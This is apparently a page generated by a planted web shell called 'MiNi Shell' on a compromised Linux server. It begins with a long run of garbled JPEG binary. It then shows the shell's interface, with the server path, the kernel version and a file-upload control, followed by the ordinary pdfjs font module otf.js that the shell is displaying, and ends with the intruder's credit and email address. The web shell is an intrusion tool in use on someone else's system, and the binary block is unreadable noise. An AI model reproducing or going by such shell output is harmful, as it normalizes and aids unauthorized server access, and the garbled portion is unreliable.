JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/htmltopdf/node_modules/pdfjs/lib/font/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/htmltopdf/node_modules/pdfjs/lib/font/otf.js

'use strict'

const opentype = require('opentype.js')
const FontSubset = require('./subset')
const PDFName = require('../object/name')
const PDFObject = require('../object/object')
const PDFDictionary = require('../object/dictionary')
const PDFString = require('../object/string')
const PDFArray = require('../object/array')
const PDFStream = require('../object/stream')
const Base = require('./base')
const StringWidth = Base.StringWidth
const util = require('../util')

module.exports = class OTFFontFactory extends Base {
  constructor(b) {
    super()

    // convert to array buffer
    const ab = util.toArrayBuffer(b)
    this.font = opentype.parse(ab)
  }

  instance() {
    return new OTFFont(this.font, this)
  }
}

class OTFFont {
  constructor(font, parent) {
    this.font = font
    this.parent = parent

    this.subset = new FontSubset(this.font)
    this.subset.use(' ')
  }

  encode(str) {
    this.subset.use(str)
    return (new PDFString(this.subset.encode(str))).toHexString()
  }

  stringWidth(str, size) {
    const scale  = size / this.font.unitsPerEm
    const glyphs = this.font.stringToGlyphs(str)
    const kerning = []

    let width = 0
    for (let i = 0, len = glyphs.length; i < len; ++i) {
      const left  = glyphs[i]
      const right = glyphs[i + 1]

      width += left.advanceWidth
      if (right) {
        const offset = -this.font.getKerningValue(left, right);

        if (offset !== 0) {
          width += offset
          kerning.push({ pos: i + 1, offset: offset })
        }
      }
    }

    return new StringWidth(width * scale, kerning)
  }

  lineHeight(size, includeGap) {
    if (includeGap == null) {
      includeGap = false
    }

    const gap = includeGap ? this.font.tables.os2.sTypoLineGap : 0
    const ascent = this.font.tables.os2.sTypoAscender
    const descent = this.font.tables.os2.sTypoDescender

    return (ascent + gap - descent) * size / this.font.unitsPerEm
  }

  ascent(size) {
    return this.font.tables.os2.sTypoAscender * size / this.font.unitsPerEm
  }

  descent(size) {
    return this.font.tables.os2.sTypoDescender * size / this.font.unitsPerEm
  }

  underlinePosition(size) {
    return this.font.tables.post.underlinePosition * size / this.font.unitsPerEm
  }

  underlineThickness(size) {
    return this.font.tables.post.underlineThickness * size / this.font.unitsPerEm
  }

  async write(doc, fontObj) {
    const head = this.font.tables.head

    const scaleFactor = 1000.0 / this.font.unitsPerEm

    let flags = 0
    const familyClass = (this.font.tables.os2.sFamilyClass || 0) >> 8
    const isSerif = !!~[1, 2, 3, 4, 5, 6, 7].indexOf(familyClass)
    const isFixedPitch = this.font.tables.post.isFixedPitch
    const italicAngle = this.font.tables.post.italicAngle

    if (isFixedPitch)                  flags |= 1 << 0
    if (isSerif)                       flags |= 1 << 1
    if (familyClass === 10)            flags |= 1 << 3
    if (italicAngle !== 0)             flags |= 1 << 6
    /* assume not being symbolic */    flags |= 1 << 5

    // font descriptor
    const descriptor = new PDFObject('FontDescriptor')
    descriptor.prop('FontName', this.subset.name)
    descriptor.prop('Flags', flags)
    descriptor.prop('FontBBox', new PDFArray([
      head.xMin * scaleFactor, head.yMin * scaleFactor,
      head.xMax * scaleFactor, head.yMax * scaleFactor
    ]))
    descriptor.prop('ItalicAngle', italicAngle)
    descriptor.prop('Ascent', this.font.tables.os2.sTypoAscender * scaleFactor)
    descriptor.prop('Descent', this.font.tables.os2.sTypoDescender * scaleFactor)
    descriptor.prop('CapHeight', this.font.tables.os2.sCapHeight * scaleFactor)
    descriptor.prop('XHeight', this.font.tables.os2.sxHeight * scaleFactor)
    descriptor.prop('StemV', 0)

    const descendant = new PDFObject('Font')
    descendant.prop('Subtype', 'CIDFontType0')
    descendant.prop('BaseFont', this.font.names.postScriptName.en)
    descendant.prop('DW', 1000)
    descendant.prop('CIDToGIDMap', 'Identity')
    descendant.prop('CIDSystemInfo', new PDFDictionary({
      'Ordering':   new PDFString('Identity'),
      'Registry':   new PDFString('Adobe'),
      'Supplement': 0
    }))
    descendant.prop('FontDescriptor', descriptor.toReference())

    fontObj.prop('Subtype', 'Type0')
    fontObj.prop('BaseFont', this.font.names.postScriptName.en)
    fontObj.prop('Encoding', 'Identity-H')
    fontObj.prop('DescendantFonts', new PDFArray([descendant.toReference()]))

    // widths array
    const metrics = [], codeMap = this.subset.cmap()
    for (const code in codeMap) {
      if (code < 32) {
        continue
      }

      const width = Math.round(this.subset.glyphs[code].advanceWidth * scaleFactor)
      metrics.push(code - 31)
      metrics.push(new PDFArray([width]))
    }

    descendant.prop('W', new PDFArray(metrics))

    // unicode map
    const cmap = new PDFStream()
    cmap.writeLine('/CIDInit /ProcSet findresource begin')
    cmap.writeLine('12 dict begin')
    cmap.writeLine('begincmap')
    cmap.writeLine('/CIDSystemInfo <<')
    cmap.writeLine('  /Registry (Adobe)')
    cmap.writeLine('  /Ordering (Identity)')
    cmap.writeLine('  /Supplement 0')
    cmap.writeLine('>> def')
    cmap.writeLine('/CMapName /Identity-H')
    cmap.writeLine('/CMapType 2 def')
    cmap.writeLine('1 begincodespacerange')
    cmap.writeLine('<0000><ffff>')
    cmap.writeLine('endcodespacerange')

    const mapping = this.subset.subset, lines = []
    for (const code in mapping) {
      if (code < 32) {
        continue
      }

      if (lines.length >= 100) {
        cmap.writeLine(lines.length + ' beginbfchar')
        for (let i = 0; i < lines.length; ++i) {
          cmap.writeLine(lines[i])
        }
        cmap.writeLine('endbfchar')
        lines.length = 0
      }

      lines.push(
        '<' + ('0000' + (+code - 31).toString(16)).slice(-4) + '>' + // cid
        '<' + ('0000' + mapping[code].toString(16)).slice(-4) + '>'  // gid
      )
    }

    if (lines.length) {
      cmap.writeLine(lines.length + ' beginbfchar')
      lines.forEach(function(line) {
        cmap.writeLine(line)
      })
      cmap.writeLine('endbfchar')
    }

    cmap.writeLine('endcmap')
    cmap.writeLine('CMapName currentdict /CMap defineresource pop')
    cmap.writeLine('end')
    cmap.writeLine('end')

    fontObj.prop('ToUnicode', cmap.toReference())

    // font file
    const data = this.subset.save()
    const hex = ab2hex(data)

    const file = new PDFStream()
    file.object.prop('Subtype', 'OpenType')
    file.object.prop('Length', hex.length + 1)
    file.object.prop('Length1', data.byteLength)
    file.object.prop('Filter', 'ASCIIHexDecode')
    file.content = hex + '>\n'

    descriptor.prop('FontFile3', file.toReference())

    await doc._writeObject(file)
    await doc._writeObject(descriptor)
    await doc._writeObject(descendant)
    await doc._writeObject(cmap)
    await doc._writeObject(fontObj)
  }
}

function toHex(n) {
  if (n < 16) return '0' + n.toString(16)
  return n.toString(16)
}

function ab2hex(ab) {
  const view = new Uint8Array(ab)
  let hex = ''
  for (let i = 0, len = ab.byteLength; i < len; ++i) {
    hex += toHex(view[i])
  }
  return hex
}

Creat By MiNi SheLL
Email: jattceo@gmail.com